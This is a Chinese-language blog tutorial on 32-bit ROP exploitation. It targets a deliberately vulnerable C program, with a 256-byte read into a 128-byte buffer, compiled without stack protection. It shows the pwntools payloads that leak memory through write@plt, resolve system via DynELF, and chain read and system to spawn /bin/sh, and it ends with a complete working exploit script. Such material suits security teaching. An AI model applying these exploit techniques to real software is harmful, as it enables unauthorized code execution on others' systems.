1. 程式人生 > >初探ROP攻擊 Memory Leak & DynELF

初探ROP攻擊 Memory Leak & DynELF

前言

通過洩露記憶體的方式可以獲取目標程式libc中各函式的地址,這種攻擊方式可以繞過地址隨機化保護。

下文通過一個例子討論洩露記憶體的ROP攻擊,先看一個簡單的程式。

(ps.本文中的原始碼大家可以去我的Github中下載,連結在文章結尾。實踐才會出真知啊~)

程式原始碼

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256
); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }

通過以下命令編譯程式(編譯時關閉緩衝區溢位檢測,編譯為32位的程式)

$ gcc -m32 -fno-stack-protector -o 001 001.c 

程式分析

read函式這裡顯然存在一個快取區溢位的漏洞,buf的長度是128read函式讀取了256位元組的資料,造成了緩衝區溢位。

程式001執行的時候由於通過動態連結編譯,使用了libc中的函式,我們可以通過 lld

命令檢視程式使用的共享庫

$ ldd 001

libc

不同的作業系統的libc版本可能不同,不同版本libc中函式的地址也不同。比如system函式在libc 1.9.2 中的位置和libc 2.2.3中的位置不同。

可以通過以下命令檢視自己作業系統中libc的版本

$ dpkg -l | grep libc

dpk

一般的作業系統預設開啟了地址隨機化的保護機制(可以通過checksec檢視),程式每次執行的時候,載入到記憶體中的位置是隨機的。
checksec

如下圖,兩次使用ldd檢視001使用的共享庫,可以發現地址已經變化了。

$ ldd 001

lddd

但是程式執行的時候libc已經載入到記憶體中了,這時libc

的地址是一個固定的值,我們可以通過洩露記憶體的方法dump出程式正在使用的libc,從而找到libcsystem函式的地址。

也就是說我們需要構造一個能洩露至少一位元組記憶體的payload:

'A' * N + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)

輸入N個字元後發生溢位,write_plt的地址將會覆蓋read函式的返回地址,隨後程式將會跳轉到write函式,我們在棧中構造了write函式的3個引數返回地址,這段payload相當於讓程式執行

write(1, address, 4);

這樣就可以dump出記憶體中地址為address處的4位元組資料。

知道如何從記憶體中dump資料後,便可以使用pwntools中的DynELF模組查詢system函式,並獲取system的地址。

攻擊過程

首先需要確定輸入多少字元時,溢位會發生
這裡可以使用pwntools裡面的cyclic工具生成字串

$ cyclic 1000

cyclic1

然後用GDB除錯001,找到溢位點
gdb

最後,再次使用pwntools中的cyclic查詢字串:

$ cyclic -l 0x6261616b
140

可以看到,第140位元組後的4個位元組會覆蓋read函式的返回地址,所以洩露system地址的payload如下:

'A' * 140 + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)

現在分析一下,將上述payload傳送後,ret指令將要執行時,棧中的情況,如圖:
st1

構造leak函式:

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data   

這段函式能從記憶體中addressdump4位元組資料,函式執行結束後會返回main函式重新執行,也就是說利用這個函式,我們可以dump出整個libc

使用DynELF模組查詢system函式地址:

d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')

獲取到system地址後便可以構造system("/bin/sh");攻擊程式。由於程式中沒有/bin/sh這個字串,我們可以用read函式先它寫入記憶體中一個固定的位置,然後再執行system函式

bss段在記憶體中的位置是固定的,所以可以將/bin/sh寫到bss段中,payload如下:

'B' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)

現在棧中的情況如圖:
stack2

我們構造的read函式有3個引數,這3個引數和read函式的返回地址不同,返回地址在ret指令執行時被pop出棧,但是這3個引數卻還留在棧中,沒有被彈出棧,這回影響我們構造的下一個函式system的執行,所以我們需要找一個連續pop三個暫存器的指令來平衡堆疊。這種指令很容易找到,如下:

$ objdump -d 001 | grep pop -C5

使用字串過濾的方法即可。

我們找的pop指令後面還需要帶有一個ret指令,這樣我們平衡堆疊後可以返回到我們構造的函式,如下圖所示:

gadgets

我們可以選取 0x804850d - 0x8048510這四條指令:

pop ebx; pop esi; pop ebp; ret

形如這樣的一串彙編指令也叫作gadgets,在ROP攻擊中利用很廣泛。gadgets散落在程式彙編程式碼的各個角落,當程式的程式碼很長的時候,尋找gadgets就會變得很複雜,因此有人寫過工具專門用來尋找程式中的gadgets,比如ROPgadgets

本文中找的gadgets比較簡單,後續的文章中我會介紹尋找更加複雜的gadgets,構造ROP鏈攻擊程式。

漏洞利用指令碼

#!/usr/bin/python 
from pwn import *

p = process('001')
elf = ELF('001')

read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
main = elf.symbols['main']

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data

d = DynELF(leak, elf=ELF('001'))

system_addr = d.lookup('system', 'libc')
log.info("system_addr = " + hex(system_addr))

bss_addr = elf.symbols['__bss_start']
pppr = 0x804850d

payload2 = "B" * 140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(main) + p32(bss_addr)

p.sendline(payload2)
p.sendline("/bin/sh\0")

p.interactive()

More

預告

下一篇部落格將介紹linux_x64中利用通用gadgets進行ROP攻擊